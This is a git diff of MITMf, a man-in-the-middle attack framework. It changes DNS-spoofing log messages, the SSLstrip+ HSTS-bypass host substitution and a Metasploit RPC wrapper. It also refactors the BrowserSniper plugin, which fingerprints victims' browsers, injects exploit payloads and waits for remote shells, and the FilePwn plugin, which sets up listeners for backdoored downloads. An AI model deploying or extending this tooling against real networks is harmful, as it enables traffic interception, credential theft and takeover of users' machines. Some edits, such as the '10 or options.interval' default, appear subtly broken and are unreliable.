diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py
index a65d8cd..69f3681 100755
--- a/core/dnschef/DNSchef.py
+++ b/core/dnschef/DNSchef.py
@@ -71,7 +71,7 @@ class DNSHandler():
d = DNSRecord.parse(data)
except Exception, e:
- dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0]))
+ dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
else:
# Only Process DNS Queries
@@ -115,7 +115,7 @@ class DNSHandler():
# Create a custom response to the query
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
- dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
+ dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
# IPv6 needs additional work before inclusion:
if qtype == "AAAA":
@@ -184,7 +184,7 @@ class DNSHandler():
response = response.pack()
elif qtype == "*" and not None in fake_records.values():
- dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
+ dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
@@ -259,7 +259,7 @@ class DNSHandler():
# Proxy the request
else:
- dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
+ dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
nameserver_tuple = random.choice(nameservers).split('#')
response = self.proxyrequest(data, *nameserver_tuple)
@@ -339,13 +339,13 @@ class DNSHandler():
sock.close()
except Exception, e:
- dnschef_logger.warning("could not proxy request: {}".format(e))
+ dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e))
else:
return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
- dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
+ dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
@@ -482,7 +482,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
- shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
+ shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):
diff --git a/core/msfrpc.py b/core/msfrpc.py
index f722875..51e51c2 100644
--- a/core/msfrpc.py
+++ b/core/msfrpc.py
@@ -24,6 +24,9 @@ import msgpack
import logging
import requests
+from core.configwatcher import ConfigWatcher
+from core.utils import shutdown
+
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
class Msfrpc:
@@ -84,6 +87,55 @@ class Msfrpc:
except:
raise self.MsfAuthError("MsfRPC: Authentication failed")
+class Msf:
+ '''
+ This is just a wrapper around the Msfrpc class,
+ prevents a lot of code re-use throught the framework
+
+ '''
+ def __init__(self):
+ try:
+ self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']})
+ self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass'])
+ except Exception as e:
+ shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))
+
+ def version(self):
+ return self.msf.call('core.version')['version']
+
+ def jobs(self):
+ return self.msf.call('job.list')
+
+ def jobinfo(self, pid):
+ return self.msf.call('job.info', [pid])
+
+ def killjob(self, pid):
+ return self.msf.call('job.kill', [pid])
+
+ def findpid(self, name):
+ jobs = self.jobs()
+ for pid, jobname in jobs.iteritems():
+ if name in jobname:
+ return pid
+ return None
+
+ def sessions(self):
+ return self.msf.call('session.list')
+
+ def sessionsfrompeer(self, peer):
+ sessions = self.sessions()
+ for n, v in sessions.iteritems():
+ if peer in v['tunnel_peer']:
+ return n
+ return None
+
+ def sendcommand(self, cmd):
+ #Create a virtual console
+ console_id = self.msf.call('console.create')['id']
+
+ #write the cmd to the newly created console
+ self.msf.call('console.write', [console_id, cmd])
+
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options
diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py
index 67b6dba..8d2d30e 100644
--- a/core/sslstrip/ClientRequest.py
+++ b/core/sslstrip/ClientRequest.py
@@ -69,7 +69,7 @@ class ClientRequest(Request):
if self.hsts:
if 'referer' in headers:
- real = self.urlMonitor.getHstsConfig()[0]
+ real = self.urlMonitor.real
if len(real) > 0:
dregex = re.compile("({})".format("|".join(map(re.escape, real.keys()))))
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
@@ -120,7 +120,7 @@ class ClientRequest(Request):
client = self.getClientIP()
path = self.getPathFromUri()
url = 'http://' + host + path
- self.uri = url # set URI to absolute
+ self.uri = url # set URI to absolute
if self.content:
self.content.seek(0,0)
@@ -129,8 +129,8 @@ class ClientRequest(Request):
if self.hsts:
- host = self.urlMonitor.URLgetRealHost(str(host))
- real = self.urlMonitor.getHstsConfig()[0]
+ host = self.urlMonitor.URLgetRealHost(str(host))
+ real = self.urlMonitor.real
patchDict = self.urlMonitor.patchDict
url = 'http://' + host + path
self.uri = url # set URI to absolute
diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py
index f0db397..4015276 100644
--- a/core/sslstrip/SSLServerConnection.py
+++ b/core/sslstrip/SSLServerConnection.py
@@ -16,7 +16,9 @@
# USA
#
-import logging, re, string
+import logging
+import re
+import string
from ServerConnection import ServerConnection
from URLMonitor import URLMonitor
@@ -58,7 +60,7 @@ class SSLServerConnection(ServerConnection):
if v[:7].lower()==' domain':
dominio=v.split("=")[1]
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
- real = self.urlMonitor.getHstsConfig()[1]
+ real = self.urlMonitor.real
if dominio in real:
v=" Domain=%s"%real[dominio]
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py
index 32ee79e..74868f4 100644
--- a/core/sslstrip/ServerConnection.py
+++ b/core/sslstrip/ServerConnection.py
@@ -105,7 +105,13 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
- self.clientInfo = hap.simple_detect(self.headers['user-agent'])
+ try:
+ self.clientInfo = hap.simple_detect(self.headers['user-agent'])
+ except KeyError as e:
+ mitmf_logger.debug("[ServerConnection] Client didn't send UA with request")
+ self.clientInfo = None
+ pass
+
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
@@ -214,9 +220,7 @@ class ServerConnection(HTTPClient):
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
sustitucion[url] = nuevaurl
- #data.replace(url,nuevaurl)
- #data = self.urlMonitor.DataReemplazo(data)
if len(sustitucion)>0:
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py
index f306db7..54b4bd5 100644
--- a/core/sslstrip/URLMonitor.py
+++ b/core/sslstrip/URLMonitor.py
@@ -32,6 +32,8 @@ class URLMonitor:
# Start the arms race, and end up here...
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
_instance = None
+ sustitucion = dict()
+ real = dict()
patchDict = {
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
@@ -107,23 +109,24 @@ class URLMonitor:
port = 443
if self.hsts:
- if not self.getHstsConfig[1].has_key(host):
+ self.updateHstsConfig()
+
+ if not self.sustitucion.has_key(host):
lhost = host[:4]
if lhost=="www.":
- self.getHstsConfig[1][host] = "w"+host
- self.getHstsConfig[0]["w"+host] = host
+ self.sustitucion[host] = "w"+host
+ self.real["w"+host] = host
else:
- self.getHstsConfig[1][host] = "web"+host
- self.getHstsConfig[0]["web"+host] = host
- mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host]))
+ self.sustitucion[host] = "web"+host
+ self.real["web"+host] = host
+ mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
url = 'http://' + host + path
- #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url))
self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port)
- return 'http://'+ self.getHstsConfig[1][host] + path
+ return 'http://'+ self.sustitucion[host] + path
else:
url = method + host + path
@@ -134,15 +137,10 @@ class URLMonitor:
def setFaviconSpoofing(self, faviconSpoofing):
self.faviconSpoofing = faviconSpoofing
- def getHstsConfig(self):
- sustitucion = dict()
- real = dict()
-
- for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']:
- sustitucion[k] = v
- real[v] = k
-
- return (real, sustitucion)
+ def updateHstsConfig(self):
+ for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems():
+ self.sustitucion[k] = v
+ self.real[v] = k
def setHstsBypass(self):
self.hsts = True
@@ -158,10 +156,12 @@ class URLMonitor:
def URLgetRealHost(self, host):
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
-
- if self.getHstsConfig()[0].has_key(host):
- mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host]))
- return self.getHstsConfig()[0][host]
+
+ self.updateHstsConfig()
+
+ if self.real.has_key(host):
+ mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
+ return self.real[host]
else:
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py
index 19225a3..aa831f4 100644
--- a/plugins/BrowserProfiler.py
+++ b/plugins/BrowserProfiler.py
@@ -39,11 +39,11 @@ class BrowserProfiler(Inject, Plugin):
self.html_payload = self.get_payload()
def post2dict(self, post): #converts the ajax post to a dic
- dict = {}
+ d = dict()
for line in post.split('&'):
t = line.split('=')
- dict[t[0]] = t[1]
- return dict
+ d[t[0]] = t[1]
+ return d
def clientRequest(self, request):
#Handle the plugin output
@@ -62,4 +62,4 @@ class BrowserProfiler(Inject, Plugin):
def get_payload(self):
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
- return ''
+ return ''
diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py
index 0eb7408..e74c405 100644
--- a/plugins/BrowserSniper.py
+++ b/plugins/BrowserSniper.py
@@ -23,7 +23,7 @@ import random
import logging
from time import sleep
-from core.msfrpc import Msfrpc
+from core.msfrpc import Msf
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
@@ -42,20 +42,11 @@ class BrowserSniper(BrowserProfiler, Plugin):
self.msfip = SystemConfig.getIP(options.interface)
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
- msfcfg = self.config['MITMf']['Metasploit']
- self.rpcip = msfcfg['rpcip']
- self.rpcpass = msfcfg['rpcpass']
-
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
- try:
- self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
- self.msf.login('msf', self.rpcpass)
- version = self.msf.call('core.version')['version']
- self.tree_info.append("Connected to Metasploit v{}".format(version))
- except Exception:
- shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
+ msfversion = Msf().version()
+ self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
def startThread(self, options):
self.snipe()
@@ -84,11 +75,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
- #Create a virtual console
- console_id = self.msf.call('console.create')['id']
-
- #write the cmd to the newly created console
- self.msf.call('console.write', [console_id, cmd])
+ Msf().sendcommand(cmd)
return (rand_url, rand_port)
@@ -140,7 +127,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
elif details['Plugin'].lower() == 'flash':
- if (flash is not None) and (java in details['PluginVersions']):
+ if (flash is not None) and (flash in details['PluginVersions']):
exploits.append(exploit)
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
@@ -154,31 +141,23 @@ class BrowserSniper(BrowserProfiler, Plugin):
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
- #probably a much cleaner way of doing this :/
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
- exit_loop = False
+
poll_n = 1
- while poll_n <= 30:
-
- if exit_loop is True:
- break
-
- sessions = self.msf.call('session.list')
- if sessions:
- for k, v in sessions.iteritems():
- if ip in sessions[k]['tunnel_peer']:
- mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
- self.sploited_ips.append(ip)
- self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
- exit_loop = True
- break
+ msf = Msf()
+ while poll_n != 30:
+ if msf.sessionsfrompeer(ip):
+ mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
+ self.sploited_ips.append(ip)
+ self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
+ self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
+ return
+
poll_n += 1
sleep(2)
- if exit_loop is False: #We didn't get a shell :(
- mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
-
+ mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def snipe(self):
@@ -196,26 +175,20 @@ class BrowserSniper(BrowserProfiler, Plugin):
elif exploits and (vic_ip not in self.sploited_ips):
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
-
inject_payload = ''
+ msf = Msf()
for exploit in exploits:
- jobs = self.msf.call('job.list') #get running jobs
- if jobs:
- for pid, name in jobs.iteritems():
- info = self.msf.call('job.info', [pid])
- if (exploit in info['name']):
- mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
- url = info['uripath'] #get the url assigned to the exploit
- inject_payload += "".format(self.msfip, msfport, url)
- else:
- url, port = self._setupExploit(exploit, msfport)
- inject_payload += "".format(self.msfip, port, url)
+ pid = msf.findpid(exploit)
+ if pid:
+ mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
+ url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit
+ inject_payload += "".format(self.msfip, msfport, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "".format(self.msfip, port, url)
-
+
self.injectAndPoll(vic_ip, inject_payload)
sleep(1)
diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py
index 64f977a..2d40f54 100644
--- a/plugins/FilePwn.py
+++ b/plugins/FilePwn.py
@@ -68,7 +68,7 @@ import multiprocessing
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
-from core.msfrpc import Msfrpc
+from core.msfrpc import Msf
from core.utils import shutdown
from plugins.plugin import Plugin
from tempfile import mkstemp
@@ -126,26 +126,15 @@ class FilePwn(Plugin):
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
- #Metasploit options
- msfcfg = self.config['MITMf']['Metasploit']
- rpcip = msfcfg['rpcip']
- rpcpass = msfcfg['rpcpass']
+ msfversion = Msf().version()
+ self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
- try:
- msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
- msf.login('msf', rpcpass)
- version = msf.call('core.version')['version']
- self.tree_info.append("Connected to Metasploit v{}".format(version))
-
- t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
- t.setDaemon(True)
- t.start()
- except Exception:
- shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
+ t = threading.Thread(name='setupMSF', target=self.setupMSF)
+ t.setDaemon(True)
+ t.start()
- def setupMSF(self, msf):
-
- jobs = msf.call('job.list')
+ def setupMSF(self):
+ msf = Msf()
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
@@ -154,21 +143,16 @@ class FilePwn(Plugin):
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
- if jobs:
- for pid, name in jobs.iteritems():
- info = msf.call('job.info', [pid])
- if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']):
- #Create a virtual console
- c_id = msf.call('console.create')['id']
-
- #write the cmd to the newly created console
- msf.call('console.write', [c_id, cmd])
+ pid = msf.findpid('multi/handler')
+ if pid:
+ info = msf.jobinfo(pid)
+ if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']):
+ msf.killjob(pid)
+ msf.sendcommand(cmd)
+ else:
+ msf.sendcommand(cmd)
else:
- #Create a virtual console
- c_id = msf.call('console.create')['id']
-
- #write the cmd to the newly created console
- msf.call('console.write', [c_id, cmd])
+ msf.sendcommand(cmd)
def onConfigChange(self):
self.initialize(self.options)
diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py
index 5e32555..eae51ee 100644
--- a/plugins/Screenshotter.py
+++ b/plugins/Screenshotter.py
@@ -37,7 +37,7 @@ class ScreenShotter(Inject, Plugin):
has_opts = True
def initialize(self, options):
- self.interval = options.interval
+ self.interval = 10 or options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
@@ -60,4 +60,4 @@ class ScreenShotter(Inject, Plugin):
return ''
def pluginOptions(self, options):
- options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
\ No newline at end of file
+ options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)")
\ No newline at end of file